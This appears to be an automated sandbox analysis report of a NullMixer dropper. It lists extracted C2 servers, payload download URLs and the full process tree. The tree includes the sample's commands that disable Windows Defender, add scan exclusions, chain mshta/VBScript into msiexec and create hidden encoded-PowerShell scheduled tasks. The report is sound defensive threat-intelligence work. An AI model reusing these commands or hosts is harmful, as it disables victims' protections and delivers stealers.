Analysis
- max time kernel
59s - max time network
154s - platform
windows10-2004_x64 - resource
win10v2004-20220901-en - resource tags
- submitted
25/10/2022, 01:51
General
- Target DA3909EA1DFAA29DBD3F0EE74CBE629783826F97AE41E.exe
- Size 5.2MB
- Sample221025-b9tnmsbcbr
- SHA256 da3909ea1dfaa29dbd3f0ee74cbe629783826f97ae41e606f6db35890c59ec40
Malware Config
Extracted
-
nullmixer
-
http://sayanu.xyz/
Extracted
-
privateloader
-
http://45.133.1.107/server.txt
-
pastebin.com/raw/A7dSG1te
-
http://wfsdragon.ru/api/setStats.php
-
51.178.186.149
-
http://91.241.19.125/pub.php?pub=one
-
http://sarfoods.com/index.php
-
payload_url
https://cdn.discordapp.com/attachments/1003879548242374749/1003976870611669043/NiceProcessX64.bmp
https://cdn.discordapp.com/attachments/1003879548242374749/1003976754358124554/NiceProcessX32.bmp
https://cdn.discordapp.com/attachments/910842184708792331/931507465563045909/dingo_20220114120058.bmp
https://c.xyzgamec.com/userdown/2202/random.exe
http://193.56.146.76/Proxytest.exe
http://www.yzsyjyjh.com/askhelp23/askinstall23.exe
http://privacy-tools-for-you-780.com/downloads/toolspab3.exe
http://luminati-china.xyz/aman/casper2.exe
https://innovicservice.net/assets/vendor/counterup/RobCleanerInstlr95038215.exe
http://tg8.cllgxx.com/hp8/g1/yrpp1047.exe
https://cdn.discordapp.com/attachments/910842184708792331/930849718240698368/Roll.bmp
https://cdn.discordapp.com/attachments/910842184708792331/930850766787330068/real1201.bmp
https://cdn.discordapp.com/attachments/910842184708792331/930882959131693096/Installer.bmp
http://185.215.113.208/ferrari.exe
https://cdn.discordapp.com/attachments/910842184708792331/931233371110141962/LingeringsAntiphon.bmp
https://cdn.discordapp.com/attachments/910842184708792331/931285223709225071/russ.bmp
https://cdn.discordapp.com/attachments/910842184708792331/932720393201016842/filinnn.bmp
https://cdn.discordapp.com/attachments/910842184708792331/933436611427979305/build20k.bmp
https://c.xyzgamec.com/userdown/2202/random.exe
http://mnbuiy.pw/adsli/note8876.exe
http://www.yzsyjyjh.com/askhelp23/askinstall23.exe
http://luminati-china.xyz/aman/casper2.exe
https://suprimax.vet.br/css/fonts/OneCleanerInst942914.exe
http://tg8.cllgxx.com/hp8/g1/ssaa1047.exe
https://www.deezloader.app/files/Deezloader_Remix_Installer_64_bit_4.3.0_Setup.exe
https://www.deezloader.app/files/Deezloader_Remix_Installer_32_bit_4.3.0_Setup.exe
https://cdn.discordapp.com/attachments/910281601559167006/911516400005296219/anyname.exe
https://cdn.discordapp.com/attachments/910281601559167006/911516894660530226/PBsecond.exe
https://cdn.discordapp.com/attachments/910842184708792331/914047763304550410/Xpadder.bmp
Extracted
-
socelars
-
http://www.iyiqian.com/
-
http://www.hbgents.top/
-
http://www.rsnzhy.com/
-
http://www.efxety.top/
Extracted
-
redline
-
ChrisNEW
-
194.104.136.5:46013
-
auth_value
9491a1c5e11eb6097e68a4fa8627fda8
Extracted
-
redline
-
media24
-
91.121.67.60:23325
-
auth_value
e37d5065561884bb54c8ed1baa6de446
Extracted
-
redline
-
LogsDiller Cloud (TG: @logsdillabot)
-
51.89.201.21:7161
-
auth_value
3a050df92d0cf082b2cdaf87863616be
Extracted
-
redline
-
6.4
-
103.89.90.61:34589
-
auth_value
a7a3522462b1f9687c4ead2995816370
Extracted
-
redline
-
Mr X
-
79.137.192.41:24746
-
auth_value
b2ede3f875f9497e5b04d55cf1daf429
Extracted
-
tofsee
-
svartalfheim.top
-
jotunheim.name
Extracted
-
redline
-
@NoxyCloud
-
85.192.63.57:34210
-
auth_value
20dc074852db65a2b74addf964cf576e
Signatures
- Detect Fabookie payload 2 IoCs
- Detects Smokeloader packer 1 IoCs
- Fabookie
Fabookie is facebook account info stealer.
- Modifies Windows Defender Real-time Protection settings 3 TTPs 14 IoCs
- NullMixer
NullMixer is a malware dropper leading to an infection chain of a wide variety of malware families.
- OnlyLogger
A tiny loader that uses IPLogger to get its payload.
- PrivateLoader
PrivateLoader is a downloader sold as a pay-per-install malware distribution service.
- Process spawned unexpected child process 2 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- RedLine payload 9 IoCs
- SmokeLoader
Modular backdoor trojan in use since 2014.
- Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
- Socelars payload 2 IoCs
- Tofsee
Backdoor/botnet which carries out malicious activities based on commands from a C2 server.
- OnlyLogger payload 3 IoCs
- ASPack v2.12-2.42 6 IoCs
Detects executables packed with ASPack v2.12-2.42
- Creates new service(s) 1 TTPs
- Downloads MZ/PE file
- Executes dropped EXE 23 IoCs
- Modifies Windows Firewall 1 TTPs 2 IoCs
- VMProtect packed file 2 IoCs
Detects executables packed with VMProtect commercial packer.
- Checks computer location settings 2 TTPs 9 IoCs
Looks up country code configured in the registry, likely geofence.
- Loads dropped DLL 9 IoCs
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Uses the VBS compiler for execution 1 TTPs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs
- Looks up external IP address via web service 10 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.
- Suspicious use of SetThreadContext 2 IoCs
- Drops file in Program Files directory 3 IoCs
- Launches sc.exe 8 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Program crash 19 IoCs
- Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Creates scheduled task(s) 1 TTPs 6 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Kills process with taskkill 2 IoCs
- Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\DA3909EA1DFAA29DBD3F0EE74CBE629783826F97AE41E.exe"C:\Users\Admin\AppData\Local\Temp\DA3909EA1DFAA29DBD3F0EE74CBE629783826F97AE41E.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS4E6A0EA6\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS4E6A0EA6\setup_install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon061d5ff27dc378f4.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS4E6A0EA6\Mon061d5ff27dc378f4.exeMon061d5ff27dc378f4.exe5⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon0653be691ad8e1.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS4E6A0EA6\Mon0653be691ad8e1.exeMon0653be691ad8e1.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon0610b38e64.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS4E6A0EA6\Mon0610b38e64.exeMon0610b38e64.exe5⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon0635fee6a5db6.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS4E6A0EA6\Mon0635fee6a5db6.exeMon0635fee6a5db6.exe5⤵
- Executes dropped EXE
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\_Dzpafigaxd.vbs"6⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionPath C:\,'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Google\Qekdqa.exe'7⤵
-
-
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Dzpafigaxd.vbs"6⤵
-
C:\Users\Admin\AppData\Local\Temp\Fphrgjtnjgrqbtrochalunsaintly_2021-10-24_21-38.exe"C:\Users\Admin\AppData\Local\Temp\Fphrgjtnjgrqbtrochalunsaintly_2021-10-24_21-38.exe"7⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\MSBuild.exeC:\Users\Admin\AppData\Local\Temp\MSBuild.exe6⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.google.com7⤵
-
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ryyok.vbs"7⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionPath C:\8⤵
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon069c6cac288e8.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS4E6A0EA6\Mon069c6cac288e8.exeMon069c6cac288e8.exe5⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBSCrIPT: clOSe ( cReatEOBJEcT ("WScrIpT.ShELl" ).rUn ( "CMd.eXe /q /C COPY /Y ""C:\Users\Admin\AppData\Local\Temp\7zS4E6A0EA6\Mon069c6cac288e8.exe"" MN9RL3Hp4HY1J.eXe && STaRt MN9RL3HP4hY1J.exE -Ptq97Aj9Q6V6FvRT8EVd & IF """" == """" for %e IN ( ""C:\Users\Admin\AppData\Local\Temp\7zS4E6A0EA6\Mon069c6cac288e8.exe"" ) do taskkill -Im ""%~nxe"" -F " , 0 , tRuE ) )6⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /C COPY /Y "C:\Users\Admin\AppData\Local\Temp\7zS4E6A0EA6\Mon069c6cac288e8.exe" MN9RL3Hp4HY1J.eXe && STaRt MN9RL3HP4hY1J.exE -Ptq97Aj9Q6V6FvRT8EVd & IF "" =="" for %e IN ( "C:\Users\Admin\AppData\Local\Temp\7zS4E6A0EA6\Mon069c6cac288e8.exe" ) do taskkill -Im "%~nxe" -F7⤵
-
C:\Users\Admin\AppData\Local\Temp\MN9RL3Hp4HY1J.eXeMN9RL3HP4hY1J.exE -Ptq97Aj9Q6V6FvRT8EVd8⤵
- Executes dropped EXE
- Checks computer location settings
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBSCrIPT: clOSe ( cReatEOBJEcT ("WScrIpT.ShELl" ).rUn ( "CMd.eXe /q /C COPY /Y ""C:\Users\Admin\AppData\Local\Temp\MN9RL3Hp4HY1J.eXe"" MN9RL3Hp4HY1J.eXe && STaRt MN9RL3HP4hY1J.exE -Ptq97Aj9Q6V6FvRT8EVd & IF ""-Ptq97Aj9Q6V6FvRT8EVd "" == """" for %e IN ( ""C:\Users\Admin\AppData\Local\Temp\MN9RL3Hp4HY1J.eXe"" ) do taskkill -Im ""%~nxe"" -F " , 0 , tRuE ) )9⤵
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBsCRIpT: ClOSE ( cReateOBjEcT ( "wSCRiPt.SHELL" ). rUN( "cmD.EXe /q /r ECho C:\Users\Admin\AppData\Local\TempR1> 4XVAJS5~.zQF & echo | seT /P = ""MZ"" > GS80E3S.1bE & cOpY /y /b gS80E3S.1BE + YMbtS87G.Hd + GYNQPMS8.8Ix + 2RAg2LOy.B + Y3DCR.c9U + 4XVAJs5~.ZQF mPTAr._os & StaRt msiexec -Y .\MPTAr._OS " , 0 , tRUE) )9⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /r ECho C:\Users\Admin\AppData\Local\TempR1> 4XVAJS5~.zQF & echo | seT /P = "MZ" > GS80E3S.1bE & cOpY /y /b gS80E3S.1BE + YMbtS87G.Hd + GYNQPMS8.8Ix + 2RAg2LOy.B + Y3DCR.c9U+ 4XVAJs5~.ZQF mPTAr._os & StaRt msiexec -Y .\MPTAr._OS10⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo "11⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" seT /P = "MZ" 1>GS80E3S.1bE"11⤵
-
-
C:\Windows\SysWOW64\msiexec.exemsiexec -Y .\MPTAr._OS11⤵
- Loads dropped DLL
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -Im "Mon069c6cac288e8.exe" -F8⤵
- Kills process with taskkill
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon066eddcf47d104cdd.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS4E6A0EA6\Mon066eddcf47d104cdd.exeMon066eddcf47d104cdd.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon065abded91bf551.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS4E6A0EA6\Mon065abded91bf551.exeMon065abded91bf551.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe6⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon06fada3bfc.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS4E6A0EA6\Mon06fada3bfc.exeMon06fada3bfc.exe5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\7zS4E6A0EA6\Mon06fada3bfc.exeC:\Users\Admin\AppData\Local\Temp\7zS4E6A0EA6\Mon06fada3bfc.exe6⤵
- Executes dropped EXE
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon067c5bd1aeb8c5d9a.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS4E6A0EA6\Mon067c5bd1aeb8c5d9a.exeMon067c5bd1aeb8c5d9a.exe5⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon06a5328cc0a32.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS4E6A0EA6\Mon06a5328cc0a32.exeMon06a5328cc0a32.exe5⤵
- Executes dropped EXE
- Checks computer location settings
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\3990096560.exe"6⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\4062189938.exe"6⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV17⤵
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon06adbb48703cdc9.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS4E6A0EA6\Mon06adbb48703cdc9.exeMon06adbb48703cdc9.exe5⤵
- Modifies Windows Defender Real-time Protection settings
- Executes dropped EXE
- Checks computer location settings
-
C:\Users\Admin\Pictures\Adobe Films\ELUeg9jYRcTUTdXKNGkCiQul.exe"C:\Users\Admin\Pictures\Adobe Films\ELUeg9jYRcTUTdXKNGkCiQul.exe"6⤵
-
-
C:\Users\Admin\Pictures\Adobe Films\_9LkmCoQTHzahX2K68rcc1_P.exe"C:\Users\Admin\Pictures\Adobe Films\_9LkmCoQTHzahX2K68rcc1_P.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\is-34UOO.tmp\is-B47HN.tmp"C:\Users\Admin\AppData\Local\Temp\is-34UOO.tmp\is-B47HN.tmp" /SL4 $F01EE "C:\Users\Admin\Pictures\Adobe Films\_9LkmCoQTHzahX2K68rcc1_P.exe" 2297641 527367⤵
-
C:\Program Files (x86)\etSearcher\etsearcher58.exe"C:\Program Files (x86)\etSearcher\etsearcher58.exe"8⤵
-
C:\Users\Admin\AppData\Roaming\{d6dc608d-2a27-11ed-a0e3-806e6f6e6963}\U0Xg3.exe9⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "etsearcher58.exe" /f & erase "C:\Program Files (x86)\etSearcher\etsearcher58.exe" & exit9⤵
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\fk8NitnEBdlRqgdO1euhDXNU.exe"C:\Users\Admin\Pictures\Adobe Films\fk8NitnEBdlRqgdO1euhDXNU.exe"6⤵
-
-
C:\Users\Admin\Pictures\Adobe Films\3BGjpL5WkLJTtD6rZ5E0FMlh.exe"C:\Users\Admin\Pictures\Adobe Films\3BGjpL5WkLJTtD6rZ5E0FMlh.exe"6⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"7⤵
-
-
-
C:\Users\Admin\Pictures\Adobe Films\ndsLWT6hRGCwLrKzvjnVyMDF.exe"C:\Users\Admin\Pictures\Adobe Films\ndsLWT6hRGCwLrKzvjnVyMDF.exe"6⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST7⤵
- Creates scheduled task(s)
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST7⤵
- Creates scheduled task(s)
-
-
C:\Users\Admin\Documents\jUiRgLccYIaW9lTtE8NEo_OU.exe"C:\Users\Admin\Documents\jUiRgLccYIaW9lTtE8NEo_OU.exe"7⤵
-
C:\Users\Admin\Pictures\Adobe Films\8wYNZfeaIs59IbXPVD9sMLox.exe"C:\Users\Admin\Pictures\Adobe Films\8wYNZfeaIs59IbXPVD9sMLox.exe"8⤵
-
-
C:\Users\Admin\Pictures\Adobe Films\0R34KLYeN5ffk9u4o0BLm_fj.exe"C:\Users\Admin\Pictures\Adobe Films\0R34KLYeN5ffk9u4o0BLm_fj.exe"8⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"9⤵
-
-
-
C:\Users\Admin\Pictures\Adobe Films\D4E2iz22F3ElMiajAA6F4TwM.exe"C:\Users\Admin\Pictures\Adobe Films\D4E2iz22F3ElMiajAA6F4TwM.exe"8⤵
-
-
C:\Users\Admin\Pictures\Adobe Films\OKcxDX9ELwJF7o8p93O9IiIy.exe"C:\Users\Admin\Pictures\Adobe Films\OKcxDX9ELwJF7o8p93O9IiIy.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\is-PIL4S.tmp\OKcxDX9ELwJF7o8p93O9IiIy.tmp"C:\Users\Admin\AppData\Local\Temp\is-PIL4S.tmp\OKcxDX9ELwJF7o8p93O9IiIy.tmp" /SL5="$B01F6,254182,170496,C:\Users\Admin\Pictures\Adobe Films\OKcxDX9ELwJF7o8p93O9IiIy.exe"9⤵
-
C:\Users\Admin\AppData\Local\Temp\is-5A4O5.tmp\PowerOff.exe"C:\Users\Admin\AppData\Local\Temp\is-5A4O5.tmp\PowerOff.exe" /S /UID=9510⤵
-
C:\Users\Admin\AppData\Local\Temp\1d-d1879-2db-6138d-aba2cef42f403\Bifinagija.exe"C:\Users\Admin\AppData\Local\Temp\1d-d1879-2db-6138d-aba2cef42f403\Bifinagija.exe"11⤵
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\cNFLLvRx6Kgre59tq5w0DmVa.exe"C:\Users\Admin\Pictures\Adobe Films\cNFLLvRx6Kgre59tq5w0DmVa.exe"8⤵
-
C:\Windows\SysWOW64\choice.exechoice 34898347856377884844365743747563678475839⤵
-
-
C:\Windows\SysWOW64\cmd.execmd /c cmd < Breaks.mil & ping -n 5 localhost9⤵
-
C:\Windows\SysWOW64\cmd.execmd10⤵
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\70a2ft8Vr_KI3kUpEqMKOJxJ.exe"C:\Users\Admin\Pictures\Adobe Films\70a2ft8Vr_KI3kUpEqMKOJxJ.exe"8⤵
-
C:\Windows\SysWOW64\at.exeat 3874982763784yhwgdfg78234789s42809374918uf9⤵
-
-
C:\Windows\SysWOW64\cmd.execmd /c cmd < Florist.hopp & ping -n 5 localhost9⤵
-
C:\Windows\SysWOW64\cmd.execmd10⤵
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\Jx7eEkrm5LU_LYCSaESAy4j9.exe"C:\Users\Admin\Pictures\Adobe Films\Jx7eEkrm5LU_LYCSaESAy4j9.exe"8⤵
-
-
C:\Users\Admin\Pictures\Adobe Films\SqtOapP5LlUHRVSICCE0hCQb.exe"C:\Users\Admin\Pictures\Adobe Films\SqtOapP5LlUHRVSICCE0hCQb.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\STOREM~2.EXEC:\Users\Admin\AppData\Local\Temp\IXP002.TMP\STOREM~2.EXE9⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwA1AA==10⤵
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\RzJZofQJbz2qczer9WUFraMe.exe"C:\Users\Admin\Pictures\Adobe Films\RzJZofQJbz2qczer9WUFraMe.exe"8⤵
-
-
C:\Users\Admin\Pictures\Adobe Films\VbdekYUWoOdgmkuKCSsW_f0W.exe"C:\Users\Admin\Pictures\Adobe Films\VbdekYUWoOdgmkuKCSsW_f0W.exe"8⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5596 -s 3409⤵
- Program crash
-
-
-
C:\Users\Admin\Pictures\Adobe Films\JHoDS5VlDT4bs_MeWyS5yJH7.exe"C:\Users\Admin\Pictures\Adobe Films\JHoDS5VlDT4bs_MeWyS5yJH7.exe"8⤵
-
-
C:\Users\Admin\Pictures\Adobe Films\MOgyg5K9tQI7BKIE1jMr5IAH.exe"C:\Users\Admin\Pictures\Adobe Films\MOgyg5K9tQI7BKIE1jMr5IAH.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\is-10OEL.tmp\is-0KHJP.tmp"C:\Users\Admin\AppData\Local\Temp\is-10OEL.tmp\is-0KHJP.tmp" /SL4 $D0176 "C:\Users\Admin\Pictures\Adobe Films\MOgyg5K9tQI7BKIE1jMr5IAH.exe" 2297641 527369⤵
-
-
-
C:\Users\Admin\Pictures\Adobe Films\dM7AmS0AuqiGLryu6JXsiVhn.exe"C:\Users\Admin\Pictures\Adobe Films\dM7AmS0AuqiGLryu6JXsiVhn.exe" /SP-/VERYSILENT /SUPPRESSMSGBOXES /INSTALLERSHOWNELSEWHERE /pid=7478⤵
-
C:\Users\Admin\AppData\Local\Temp\is-V6F12.tmp\dM7AmS0AuqiGLryu6JXsiVhn.tmp"C:\Users\Admin\AppData\Local\Temp\is-V6F12.tmp\dM7AmS0AuqiGLryu6JXsiVhn.tmp" /SL5="$A006A,11860388,791040,C:\Users\Admin\Pictures\Adobe Films\dM7AmS0AuqiGLryu6JXsiVhn.exe" /SP-/VERYSILENT /SUPPRESSMSGBOXES /INSTALLERSHOWNELSEWHERE /pid=7479⤵
-
-
-
C:\Users\Admin\Pictures\Adobe Films\Tw0Lpfn6KFQAbJBmrqgJN_X3.exe"C:\Users\Admin\Pictures\Adobe Films\Tw0Lpfn6KFQAbJBmrqgJN_X3.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS8150.tmp\Install.exe.\Install.exe9⤵
-
C:\Users\Admin\AppData\Local\Temp\7zSA294.tmp\Install.exe.\Install.exe /S /site_id "525403"10⤵
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"11⤵
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&12⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:3213⤵
-
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:6413⤵
-
-
-
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"11⤵
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&12⤵
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gDenUUvaZ" /SC once /ST 00:46:38 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="11⤵
- Creates scheduled task(s)
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\1tGDSt6mHvrLajgi0Lchc3JD.exe"C:\Users\Admin\Pictures\Adobe Films\1tGDSt6mHvrLajgi0Lchc3JD.exe"8⤵
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\System32\msiexec.exe" /y .\5JFb8Zv.P49⤵
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\tMLMOUmUiWRWyLUhjU6PgFWR.exe"C:\Users\Admin\Pictures\Adobe Films\tMLMOUmUiWRWyLUhjU6PgFWR.exe"6⤵
-
-
